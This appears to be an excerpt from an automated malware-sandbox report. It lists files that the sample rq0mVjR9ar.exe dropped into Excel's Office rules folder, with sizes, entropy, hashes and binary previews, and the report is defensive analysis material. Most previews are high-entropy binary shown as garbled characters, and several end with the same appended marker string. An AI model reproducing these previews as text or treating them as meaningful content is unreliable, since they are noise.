Preview:	<?xml..$8..9_..^.pC......{+D.s.].[...~.n..`.@....=..!..9..z..N..(_T.P....F..].A.3..Ua..t.8)....4..2...~5.u.ix......UD6.&%...B.9.....`..#@..;.GTT./.y .p9..c..J..E1Y.s....$x.e.Si........!..Q..Nd..r..@)./3.=.k\|...59../1..ku.A....B}...u...b.3.R.!x...j..4l.).?....f_....[%QT.r......5.F.=..sljx.....D0..W...........J!.t[.TEF........d.&r_.Zd.5.Z...5.R.Y....l..N...@U..t.Nu..1.....m...p..j..... ..5.}.y.s.U...p#..(+M....v.......+....z...,.3.....yj....^....M........Nq.)Z.E.]...G_..1:....H..2....D9].o.3.p..1.....+/.%...d..,..\..m..6...e.....b.0.....c...nu.1....]...\P...x%...he.0.C[....A..y.%..x.P.....G .z.r.q..W.....y...1W...2...f;}......!...$.}...w.....}X(b+.CX......\|E.w..<..._;s...rDWX.+.D.@.1.uOR...S$....Go....0.......d.I..P..Ch..2.\|Ld/5.^I.V8b.....l...F.e.#.h?..;..9\|..'(.:s:.Zh..N..?,.....m..t.....L....\>%...2...C3....K.e..r....p.-...p..E^.....T...Z.>...?..1....f....i.'...pF........].X.@[.i..j..?.Q<...l..s....2!.....=.z..Y7Y`.6a..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7550064516098205
Encrypted:	false
SSDEEP:	12:igXdu3fAYNUa7ToUwZWXL2waL5Z09mzmJ5S//4pdvZoVIcHbenWX2GpMFyLixpZE:3XduvecF4Jta3S/ApDoVIuTMCiTkbD
MD5:	05D4EC892BD3132A00BB9A6B6EEA379E
SHA1:	8EFCA45730D03A96F148089E5F2E3B205055C1F1
SHA-256:	EA5F8D338B2B619305D42883C4239E52F410612309C5A0ABA6A9EC5DC877575A
SHA-512:	E2D9EC331F8A359355899159DA38B092AC48B9250CD81FB3D0CCF16D72320DFFD0B8B28C2C3FB5CFD6280B1334BFF4A22735F54F4F637B9DA6BEDD62A402FFAF
Malicious:	false
Preview:	<?xml...PQ...dO.sS.n.u..D.Y..4.&.}MJ.\|.7.......+....8..."...'....MNA...H..FN.sUa.......+.......8.7.J....2~.]X.......1.........<.c[...Yy......j...7\...f...,....[.:.......L2..*..~..O7.}\b....K..."..xa.$'.u-...g....j....lKsrk.W2.....{.....&....`.xKss\....vt..z..of...B.c.6_......).q....d.O.UK.V..:....&O.`..K\..._...-.t.d)}.8.....k'%..;.^...........x..G.=..Q.....clX....Q../.....7Y!,..W....K ~4.........`k...GX..-..9x...U.'.e7k.<.e`H.C.}...)R.......A.H..jh.._.r....q..~.)a[`u......?...!.b..^......:..... _.<.q........5.n.........K..w..34...K$G.F.e.g..p.......T...rjS...`..}...D..l.Xq.fm.l..".m.e...m<.u.J..z...@h....f.............S!K.p.... .u}:.w...N./....Z.....b.s#...1.E..x....Pr..d8.M...E.BJV8TY\..a..Q..-/R;#.....&r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.630902340161458
Encrypted:	false
SSDEEP:	12:+cvVe/MHePxj3OG36Pqwch9TS2cryLU0f5eHVDuLWVh9ftZ9lF/syixpZacii9a:+cvVgM+PJ5SFcLTdcW1yOWL9FrYyiTkX
MD5:	E4B284B25526AD8BA4CCB14C4BB53E82
SHA1:	F75B7FE33A8A6CA79C32D0DF5FE39CD8E9AEDA23
SHA-256:	FB7A94FD66189597AAE2925ACAFCA8533E2132AB4EEB67DE7236AE5BC965A84A
SHA-512:	9E66D6C7F87785CA2C9D424D6915A96698BE0401BCAA63DB05B1B4824F3BC4CD840FC6EF56FEC7549DF4484F951986FA2E37B7220AC1ACC45915B3606E91FA02
Malicious:	false
Preview:	<?xml\|.iU?....n...r...Jd..-....j?7..}b...n...-.h....\|.j....I7t...2.]..8k.s.!P9!..:..Q......X,N.4..w...H/...1.....o.,....3..aDZ\|..h.W.....?1=/...n...4.............p.3...{.,..W.....$.p....R5\|G.\|.[.b...<!.....Q..6C.g.......m...;}..V..K..K.yl._..xYzf.=.`.E]*.&`.l...C".%u.M.h..C.&.:.....'0.CS........a..b.@#s.Mb..b.Z...:S..0p....;.;....eU..;..;...?....n....l[A.L.:.......kD.3_.W8....<@.a.c ...!.........rkH..I...8..P..KJ%...@..........T..&.H.....K4.n..b..[...]7.2..\lF..C..v4$6.:..R..Q...].}...4M..~H...0C..kV.....!>.@..Y...Z...s\|.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7386936524612375
Encrypted:	false
SSDEEP:	24:vN90spR75dW4J5n3D0iQpN7b5QqB6rAzNnZr4HJYiTkbD:l9vpR7eSnRQpFb5Qq8MReHJJiD
MD5:	3BF3D585CA23FAEE15F5385B77017D27
SHA1:	772057ACD404E9CC6353448F22A16D173EE00100
SHA-256:	D06FFAC0CD0B665512D220A74517421CE16E4CB0B490B77D92812F624FB6E5A1
SHA-512:	54C65A4F4E0B1D39E809761DDD25074EFEAB128F6BA32F646AA40A8CA26F4959906D0FB55E10A89A6A4131FC9014DF822082FC46C590F9FAF3284A183BD333E2
Malicious:	false
Preview:	<?xml....\.&...fR.r....)n....fVI?#6Uzx.WCb.?O......[..!uLX1.Q%&.....a..f:`..R...EJtO.ANA..%.G.j......Q...?(..I..r...lq.$...jR.^.<.....M...x..V...5........,T.M..k.&.........F..2..t..\|V....I..'..@q{.#...@n..>...: .h.s...O.;....Z.I....i.5..7.3..88......V.p...+...a_o...S.h..ZD...=A_.m.9.G.#e..&..L`0-5W..ok..M.J.R........>.6....:.FJ.o..O.#}...z.(.....V..+..X.6=,l.C....c....t.D..m..W...-................?...Fw..!........:#(k(...U.?.p.N.ZJD..&..k....^}&.H`..)G{...:...)..).J...#..VN..wF...1.@...5.bBr'4.G4..?.$....m.L.R.{.k..P3...;.(.x.+m)s{.._eS..p.YD%Z..?p..............\,M........{r.....(...p.?..@.rr..b-......J.d.VuZ.......4"..l@......V-.%.s.j.....I......0.B..<.q.^T..2...M..t.iP.B..m.PjA&S.f..2<.....9.mTn.}......>..w.,..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.970735403689393
Encrypted:	false
SSDEEP:	96:qSaOQpzmAQXkUSpOrIpzB3u8tXYzRvMtdauXH+5cZtpkdTJ/lAcqPxNUzzsk+U9g:qSaOD58puIpzvlSGtdrX3riRJ9YUzQlv
MD5:	C8DB09B1742BC26396017797DA7B2C81
SHA1:	640B7F990A29C004A39F0F546318425E95B85CE7
SHA-256:	519BAD22BB966A43D48C6CFC0DC8408F0189E389F20A7306346C229A48125192
SHA-512:	A117A6B36698AF4C1ADB581A5E898FA9EEBADDB5F22EA27A1E1D49EE0D6ACCC180BEDB53EFAE253180F1253DEBF4B00610FCB98C6D38906662330DCE6E2C5DFF
Malicious:	false
Preview:	<?xml.q!.]4n.`h..z..D......On..I...A....P>2..4...Z..^.?.^w@..b.n.c.X.u....E.c2.V....' ....[.K.2../......#.)O....TDk=i.X.....07wPY.%..../1Ye.......C.YB....C..4L..=5V.L .fb..X..H.a2B.T.~..{.....^j..2...Z.M......@"Y...vS.:.,......p...b...^..j..a.=x..-.{.9.M../I).c.......V.>....6S-...\|.v..X.:.I........x>..)@.e..7...K.......I.H.......&...q..iS.\|..e..Q...D.wr.\..gi...F.W'.Tx\2/~....R..G7..n.f;...o.-.6...7...$.L......u..y...<T..d....g.a..@.;\|#.A....<:.I@..Q..~u.Z\|...,]...`.{L]-1...........u........l..C'..+........d.<......KOM.....6z..l.D^!..8.-...=\.M4...f.....C..(..[.t\......>....n.9..i.,..6._..f....$P".....\|\|....:..._..a..k...<......'..1_......j.zFKT.(....uk...@E..".c..X..K..1 ...B...2BW.'s.....,{5..."O~.Yq]...gk"]...".1.:h.g6E.pB...'.l....B....53..wpS...w.....`.....~D-.O.....n..L.pN.8w.=..\...gv^..^.m...n..j.../...$c.!...1B..M.U8. ..Ka.T.}...F.b5....uz.wT..=.. ........F..'.k..d...P.........p.h....E......[.......C...G...?.-..L.mg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.809922181162971
Encrypted:	false
SSDEEP:	24:trQIPjwkTs5bSrcw6UouVmXVYVRUriQWSCC/pAkiTkbD:tzPskTs5bSrH69usVYV8TpciD
MD5:	1222982510BA76B957C73E03A4DE58B1
SHA1:	950F676EF16CB58022C5208A6FCD03D78633E8BB
SHA-256:	13F3A1DD8BFC4CA4A4D1BCCF5700DD4F6574EEE271E2A1161987EF3509DDE636
SHA-512:	4EAB704F28C36AB102DEB77B8A3A8CEE7118BA24D3B64BF46C7B2E3F253618BAECCFB185946891BAA52EF76DE898D694F0D38D2EC58302558D95338D289B2272
Malicious:	false
Preview:	<?xml...Q...s......?....k....qv.....T..6...P.G.,(.v9.\|R..B.!7.K..Q......Y.D[.@...w13.........v.hr....`..:..?.$=....:x..c<.t?...vF.LKx..?.q...NSK.<....8#."9..W.....X..o.M...n@............EX{....h.~...v......'.F.?Vqiz....Pk(q.~.5.&..E.U..=B_LuJ.Z.....YIw(..D.5..?.....Z..\..[..k.~.+}....R.Y../_?..t..g[......*..r.4..o.T..?.."=.wM....K.^eZ$..x.._...#R..4....i..........$.ZA...... ];.>2..e ....Y.k..k....."D.....T......Zr.b....O]y....3.<..........{.qif?s...p6..NMo..l..E..N...5=..............Uv.E..$R..3...2..I.3 U.^.B.H..U./....>..1.........W..\|..\c.v..X.... .....$..F.{.I...2.m.4z9..O......l......a..c[.......Y.Q..z}6...9....Q>.)..@.....h..+\L[..i...~0..Ps.GG.Ix....'.l]....K.A..JC....x?.)....;.....%.C.....'...H.f.u.\.O...(.@ ._'.%...9..Q.(p....Gf...9...N08.h....:X...P.J>y".<.m..#.1.!..q.xe..?.C..`s(.\..K..k.kM..%...3...sc..=q....E..(r`p...~......@KV.....(....E...&c...i)....R...s.#...C\|.{..e{..@r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798026347286625
Encrypted:	false
SSDEEP:	24:L3NSt27TO0hGgGwuHTOCxwc771nvpbgGiTkbD:bG27TO/T7hxwg1FoiD
MD5:	25046BBB34A8DCE2B48BE210D1915080
SHA1:	81F1227417CED9074E078F4911BBE739E97CFE4A
SHA-256:	7F4A00ACFF3C360F30BDFEB710A5E18331FB0AC17796FB48237BEF9209E9ECD3
SHA-512:	E74E72F6102B77147473B280D37070026B8E7EBA92E2A56BA7F7EEF56650D491DF5A9AF6CEFE64EB2149C5EBCFE04C0144C0DCBFAC2553AE35FCE1113128C5FE
Malicious:	false
Preview:	<?xml3q._.m.]v..Vm...h.;8.....o.d.h[.N...0.!)..\../ 5.#.6.:%k.>...!.9...aa.`y.F..,..O.3....j...7.*......!.=..t....G..4.IR.,...(..a.F..."...3..]R31..[.Z...G.%..hVZ..[...^......Y..#-.).D....3.1.......\|.z.7.......n......:..'.Q.1.{.e.4L6....-...0..&K.}M.^.$........f....GL_C.{pI..-(,.9u.m.g...q.YI...kT.H.............b.0...!.......s.n)...=.`5.!......Hf...w..3'......pF..wv3.q{.,N;..q.t.9...G...]8..m..3'.l..O.Q]"Df..._...1..o...T<.-..m.6....C...9..S.U.^.._."Q...tDscC...k.K......{.:...BvQ..M.#q....z...@;.x^.Et.c.../u.....>r(?.q+..Gs....E.8..A7X5Pf..3(.o...!..jgQ.@r..t7")n....Y'...u...a....`..In....Gvv.C....,.......0~O..A0.`3.[..S..c$......M...........JE...mx.....T..z....u=..X.Sb...C.t.}.Kd.i......W."...4.00N..#Y.z....}.."1..ooY% ........r..j/.0N..(.4...I.&}....+0.<....I...(C.F[....z7...7.K..\..z.}33.[4...K..y....@7..RfJv.O.\.e.....V...s_>.].!......xYm.!....z? o....R.\..h....y\|.>)..$5.%..W.\.C..$....v6.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.86446146529215
Encrypted:	false
SSDEEP:	24:XfvkXz/poJJBLbK3dWESRcpbTXPFi70xpiWz9WBcDzsy3FX0WEliTkbD:XH27poJ3K3dWEAcpb7PFi70xwqWBcDzM
MD5:	A5E11E98F1EDBB9A03A01AE68741CAB4
SHA1:	1554FD73B12F2DA36892CE0BF87DCDC2C8CE6805
SHA-256:	DEDDB713249876AF5229DDA0A1ADB73281309DF4F103871A6B668A95CD68C80B
SHA-512:	212BBBF78BDB44F3920DDCBBAE5DBB07E1DAB0EB65CD22B680BCA18FBCE62F74952B62B97C7F1AD365F0DEBF010050BCDD88084C2E2B2DBFDA6779AC99E7837C
Malicious:	false
Preview:	<?xml.07.]@......`.........[....{..y.".....,K...g..]..~.U.A..%.x.......0xZ:(.KYU....F.6.Y.q..M...j.a~..3...u=G..}.~+..7.b...W........1......7Q....<.b.,#..w. }..J..,.............,3.M.o.....i.v..t....k..r9.i.;68.........6.L..-}].Cj../.o"I%c..)..[...._...2.....?[..Y7..f....i..>.....'.........h..&.e...r.:.(\=..c.X.~...7o...Y...X...bw.S..p.+..\|........I$.;R.IA...z...].j&dJ.]n.&....C..\\.fX.+..A...H...n..7w..;......?st....@pK........+..o...K\.S...@..W.d.%... ........9E..C..a.C..z..M`..../ .s..2.....Y..J....x.E...z.=g...Q.a.F..,.k\|HH....g...$...$......Z..I9.7..h..)&..?..=....@.L>[].6.v5=r...O..)......<........0..1..vRI.....m..9.g.....nI..W.....f.9.~..uQ...x..%#..tu.h\|:..z...w5v+...q..H..}.../..\|.PM+....&..%L9.X..\|.!PZ..!].....+.8..h..n..7u....y..q%.E`nxcG..f0i_.~..k.f..5.6...&Y..h4...5x<X,..2..c3...<B.....%r......Niq/..s..H.K..v....q...54....;.....(!P7...$"Kg..$.....w9..M-..r..6.4.^...K.....L:.nX=..I4...z..i.....)...".X.?...Lq..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.79040859029297
Encrypted:	false
SSDEEP:	24:fwAfoJ1E4cet8Dm7DLP5j6WYjKTnSIqI1dsmAQTlj+NDiTkbD:oAws4cHGzJ6DjKrSiHEQTljA2iD
MD5:	2762CCCBAC1EBBCA229F2608D56071C1
SHA1:	94EEB2E53EF2CC93FC471CEB7F65357C232C3386
SHA-256:	74645D29B950C890D3F668154388CD1FF6A73FD7B59514597ABFC03731F67245
SHA-512:	1751A0FF0692F0938B7FE96FD241C3629DAE1B3D4F4D3B1D0711171669E1CC16899AB668E2683155F3FEDAA24A4C799A0842D581077F4149BAAB76938DD05462
Malicious:	false
Preview:	<?xml8..8o.P#c......,...ow.8..0...{....QJ.B...M...5z....a5}J..J` .~.....{.....y.g0..;.....F.-cj....-...$...Oe[G.'...^...p\|R....{.A9-Pl%TcT..."..[^..-<.......~+\|..R..c.?...j........31c.)...~D4...#..S....!......O......(..%.S.h..l.d...+....I.RJ.a.._...b...m..Pz2...((OV.7...qW%..x...vt..6.q..8..$..l.r5.Q`.lC..u..#.FjEM.....;.+Tw.....E.e...E......b$....[...1." ...c.b.-.Z.I._I......g'..nV.._>..N..j;.v./$.kW..R.".>.{.xpd7..2.8`E.P../.......b...}....KL...-..b.........J...:.=......f(o.(.L...^..m.gM...K..[..Bo..?.....h=....}..\..Q...q.k..?..I.]...I.G..}_...(....KZ.p@...`F?d.~....i....t.Q.z.w%x.....D;.7'....3d..@1..>Y2.m.f.Kk..q'..1.J'..e...(...^f.m).=...e>....w...e..d..X>...u.lN...d.1.$...Og.....3...4.&.}Y.r....W..Lt.k.yeT.-........0;/Z......Sq.p..N..AL.. ;._.....#.r.....9..e......y..n&^.EB.....y.L...R52J.nNM../.....D.}.).8....p.%u...q.{..#...S.. :....D.o.....=(6(...=wt..........W..&&.G.......:...*~.'..q.... JB"b....D#....hLbL^40?.....r6yxl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.8206145933749225
Encrypted:	false
SSDEEP:	24:s5GGx4HoI9g16NJobFE1rVBMHF8PNbetun84h14rLd5f6K1iTkbD:/foI9g16voxXl8NRF1G55SKMiD
MD5:	9BE0D5C6B46FB71BA4BF3217909CABDE
SHA1:	4CF673B3F1607C9A88143F886A299E88AB408BB7
SHA-256:	1BD3633377F8A6ED297FE52338EEFD757FA3E704466024C82297888E267885F9
SHA-512:	AD2FA9CE031E14A11E61F7B908AED1E55BA5FC1ABBFFEE2B2A7025A099EE0F43A95C6D504CBE07EFA6F0BEF34D49F6E28D26670B6837EE0ADC0D57CDB1BF0022
Malicious:	false
Preview:	<?xmlf..kr...E.y.\....q.....^.>./.^..c.....W$-.u..S..V(:.u`%.......r.8.......U{..A ZH..H...b....z......]Xp..=T.^.j~.K.F..`qr.E.#1d@...@.o.h.,x5...c..W....J2h.j..H.kv.....zj.n.....4.%oq.uK[_.^.....e...%.!&.4P_..#..8.+.F+.-.{..H~. d.c..%..SJ~...aGa..,.c..(Qj..y.q.R.......p......:9#..).(_?....4..l]..<...Jm..F.F....5..=...g...`A.....E.........B..I..k..bo..t....j..I....Mw^JI..%.Cz.8..z.A..R.IR....v......~..K,...$..,A..Q..)D....t.J...L>...7.,..W...{w..Q..B.]y..qQ..%R......Y...f.,k.P;-.\!DFpd.q..Z.R..1s.....R%...'2.zF.....-M.<N.}...^.....a.7....)......Vx..G.L....rSxO.y.d<...Ce5iH...iW..AB....'E..EI....~<.%..".)..nQ@..a......U%...tq.`.&T.......P..j.A.h..../....N.e+....}7.s.d(.r=..Qd..t/.U..9.Z...U..3KF..x[T./.m.k..p^..w8.......r.y..j..B..w..l..<..G..&Zd..Y.%E....D.X.Ou.06a...V9......).>.n.].;......2CY=.....I.Q.sf.^T..6..G..'Kc.&<.r.d=.}..w.........KK....D.xO....U..j.5s...=Ra..1)!b.3..].[.@...<....E..\|5n.z..6...T..N.5.....x.^..l1D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890167345913288
Encrypted:	false
SSDEEP:	48:zi01JeU4K3sAOOOdQ00O6phQxMMgoyyzXJfVQnbiD:b5HcD07hQxKyzZVQe
MD5:	EDBCA583745F53123E01C8A1EA866856
SHA1:	31C1A6F138A2573DBD058C94DD394C53AC15139C
SHA-256:	329694A30A9B342A9CCF9E0FF82641BAC972DAEE55E4F089B5F3E9FAF2BF5FB8
SHA-512:	781339934FA5C297CD68D52704C889014F33177C8CBC4ADEE7A9003B79790D7920CB5C6C0EEAE6554D0EBEBDFD8DB12596D5CA305D7347C1CA477E758FF45BC6
Malicious:	false
Preview:	<?xml../.%.a..a\G+.V-VU....t./...D....p..h, q.A...Y7.lX2.....(.Q...-N.........t2..=U'..?8.:F.}...W..UMK].7..I.+)............dBi0...Z...p.Y...V......./..O+...F...F..hI.x....7a.&..@..&.O.O.)...V@.j.M....2..h....t.`....3.\-....uZ...k8..#...._Q.:.......t)......t..}b!..&.....q..C..LI[.D.......1_..H.g^>.2.~I.x.3.5..u.9-t].<t..\|A>s...4o..Nw_HN.R.Ntr'N5..y...kG\T..la.!,Uo..Uu.HP.BztA......+.s.=....[.b..g&.G.:6r.}.8.....WYA.c<.......7.?(J.(.O..\|..x.I.."...).u.._>.t........yHU...&f.#..kll3n....ra....i..._.`VE{..<..M..d..~...o=~...I.L.f.....c......!.6y..kWV.4M4....J P+5!..p....X.WZ.T...k.~4.xW;..I5...nO....[.9...e......-..B,...V..O7U.g........Ml.......Z.e.5.".....)n^5...6..`...i..kC....!...-/g.q..V.q...+_...Q....og.)..to!.t.Fw..P.'.......(..f>P..T#..c.L..2.N._..v.....X..}PN....\.....'.b...tW.cT..hQ..E.",....r....}.S..n."{..."...zCJ...{c^..........9y.r..rRs.6.1.....EV.6}...aU.4..x../.m@..Z.\...... =..Vr`Zb.%..k..E6.r.".."......>.^Hs..z0.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.61794768493998
Encrypted:	false
SSDEEP:	12:EGGXAjHlTNpjG50U+FKcqSyqZCztinLECpic/t7msLE0S0LtlsIzAvtZixpZaciD:vF5lGV+Fxh1Zg0L1ic/pL/HtlP0jiTkX
MD5:	468E92330394F57CD13E00BE31089D14
SHA1:	88201F3AB7A814C17A1DC44E5C0D97E9948589B7
SHA-256:	9C61827144320EC642AD4C7524D9E3E6E23FE4921BEDD184E53B41CD37D091E3
SHA-512:	B0C79F18F79587560086088DEA90C23900AEEA83848ECA67316304C96298194629E52639D0A99FA34D1441E200F40DFCE4E843960BE11D4652C652CE756C6670
Malicious:	false
Preview:	<?xml/m.....#.Z1.:...l.OJeEH^,<..(29...8gc...c...B..C.....V.JE.......yk..Sp/..#.0..}...Y......lU)v..B..5.2..,c.?.`ED2.I..J.._.....J...a.6(.y..T..<.....).....Jo+......m#...[:.G.5{r.R. .{3....H..R..Je+.v{.T+...._6........:I...V...].[..'....p60C..~0}.h.~.....+.......\C..]u.....j6.6H&...H.....K1..&...Kp....7..@]FG.w:F..Xw......y....\|(....).7..(.H6.ELN........#.x.U.,.....H..O.Vax~.X.YM?1.`.fj.c.g.&....\J .F..E\.jx.g.=...o6..F..PY..%.J.K.?Ah.........;....A.v{O..,.'C.].......4.5.`...K...Bfd..&..!Y.........o...y.......(....\.O.Y3.+..v.\....'......]E........s.=I.....8...x:f(9....<.....LE.._YO...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.876713976267319
Encrypted:	false
SSDEEP:	48:eWKUCqtHEitlK/oMnqjEUMXv8+f4rs7FiD:eSCqVECKQNj6XBB0
MD5:	D2D9C527CEC805A5761BC8FFF30FBF3A
SHA1:	BAF1EA5D6A3214C338E98FDA9F1B6BD247D130D1
SHA-256:	564E033085191897D9E731411970AE920D888A1B8D0A4234916072A3A4E0D9D3
SHA-512:	6821DE4A7F322DB677440CB05394372AFC595C0E09854C682C4E997D2DC1F0A17BAC4CC663F3C0955DF6213B999C269F0F7A8E7AD70A74152142AB31E1D10957
Malicious:	false
Preview:	<?xml.......c8R.~;0.?]..L....t..J<..GbY..9....\|.87.8....o....iY..;d...f....G....Y..Re..`an..-J'V...........S....UM..d.....P,..;.f...B.......N...rx..0....D....`/.2.n3.....g$.OK~......=F...B4....I...0.-q.BF&.....9.I>......7K.&3\|...j...'.?=.=..K...<=...t..+.8_ =of.~,UY.\|l8T.E....@\v.F..ps.....O....l.el......L..y{Qlf`YB....K..zi...r.1L'e...".h_..c.D...i.Dnu.B..3.8.No\#u...!.....j...w..D.....&..I.'D..TW.`.7.........JSe.......[BE...ls...%bw..........).[\...l.{~.D.9a........{.@d.U.xq..0r"z..c...:.@.<&54.......D.Y}..X9.S.:....:N.e....TC.z.....8..Z...(.E]...J._.E%....,'0...Iw..i.1.w..."2...T....w....).^"H.....<V[-....DGY0..i...I}...t..t...k}.)....X..Q.2B..L.7~.$d...........b(...J.....jR.g..`~....y.........3.Va{HVG...r=....T....Y....\...[...Kz.'...e-..8d....U.....h...=........3..#....l9..R..=kP.)..=3s..Xi....,r..W]?...e.j...-W..(.../......lhs......[.1.....[y..'..O4.. x.-.......G..j6.'6v..$?....#'...X7.'.I ...[xS....=....0..u..C.H&\....V,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.906175336529756
Encrypted:	false
SSDEEP:	48:y2QBBzPGvcPEIsW7Rw8lH+0kvk9653EIgoOd/hiD:A/zPGvcBst8A0kvk96u9o
MD5:	BFD0147C851A133C31AE72AE16A7317E
SHA1:	552104E0E3C2C8F2FAF3F54758B0F915EF52916B
SHA-256:	309488C6F82332C892C9849D8E4597C88157E47C5AF5CBCB04B647F2B78B8999
SHA-512:	4B0476475159AC79F44280D91DB7E0D82AD5635B325BE9022CE9A2144A94D4BE01CB08FC8D8698486A3132C45B2752B94372179E16B623A5253CAE8950996B92
Malicious:	false
Preview:	<?xml..Cl..........f6..8x.8P........0T......E&3,...tR.i..y.Q.d..Z.QG.......T.Nk.f.....I.@..)..s"%.._.3'.........PN...WZ...u..).l>.'..~..J..o9..c..F...m....6X..3k4Q...n....B~.3/C]..h..>Mt0.-h.L..pR....<zx...k....z@..5........+G.-u..@...o..W...5.'\....+@A.5......s..M.ew.c.a..C.WF...[..P...e5Y.%.fg.~....^....v`.^...^..d..{.pF..=..qC.d~7!.&-..8}4........`.s.!....p...6..)....f..;..!e...4.s.........&&..V....M....).zD..8=.B...(..q....B...2.B.`..yW.~.......Sq..DC-v...'Hi...UT...'.h.B.G..\A.-5...[a......x..Y..b.?.p.Ya.@@.s(.~..g...+....;O~.0f.[...sy....3......!....).h<M.D@wN......,...I.0.9..~]...++O...r..>h....{.WC./.p..@NRV?(.Jbs..w.}..k.X.....g.....=_V...E..&. .pdD......bY.P>.,.B,......g..dW..j...eGf..:%.=..]..BAM...W..s..8.F...h)EEqlP.....w.O..c.....\|..A.5..)YL.-.DW.=..(....@h../..~.KS..jP.@.x..{....D....5&6.r....:1!.p.t...}.V..R....b._..:.y....I.....?...Z.Qu%..y...B.._X.F..Z2....eI2....^7..T.^.b.........,...Q.A.qF....;...~.T.>.qJ.E...:..Kr.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.865898377442905
Encrypted:	false
SSDEEP:	48:lGXwdPO79WXm6kGKmPuCwqap8HrJao+dUWRYJfkG7W3XblDiD:8XAf2NquCVapOrqZYJfkGSM
MD5:	58D40A51699A2CFDC204909870404AB7
SHA1:	DCAB29C845458E2328B69DE8DB76A15FEF07AB2E
SHA-256:	0691779672797670CB5B25B88A9CE065D382A6FC80C2B3A5BA817C24983E181E
SHA-512:	A6E7B363982E6452BA6D74E2D62DA5127687ACA0CDCAE79A47D82FBA6329DBAB40EA93F24A4A61D355E38A649172843FB1AEBD71EC14F0AAC3CA4F93FE263FFD
Malicious:	false
Preview:	<?xml.).,...q.E4:M.....#t........)6A...+d....N%......M7i..7O._.<.. .........a\|<..:(n..7A....d0.0..4.t.NH..w"S.P...+.y..>...J...cz.q..4...{.vM......8...3..t....x.p..C.E..\|x.7P......+...3.C.g.Ww.t..G.C...`......q.GL'T.....".6.........hJ..g..+..._&.Or.9...>.....1.<7.a...O..b.3=....5..KsY8J;].(..i?Y..&."...J}!.......1>.N.m.\t.A.....mi...0......QT,..........J...T.\|..~.V.CH.n....N+.a h.....1n.e.,D/.7"..`.zM,....u6.uM..0...M"...W..vq...\|:.`.^.-....w........\.J@.l.'iB2I..).7.;@..10q..u..f...Z~.p..).........k7.4X1..g\.&......&........J..4...[......k..+%.!...\|..@.DK............<.[...L...Q0..,...N:..s.}....VG..A...1.....\|..........{....y3..9....Du...D..Vv...F.D..`...t..bV.......x..>.Ud....sv0...a..m\|.w.1..\|../4..".M>x..P..{._...G..KW;.?dH..?-...z.a.[A....M4....=..0.-......#eo...Z..H6....Lv.....=.[\|.AG..~9....c..x...mW...G.....eA.V......l..E..V...P.Vkp.^........A.._o..hh.. 5.....6..2#...}b.P...n{B...T..9....C.).S...h.&.cvDE3..s.... 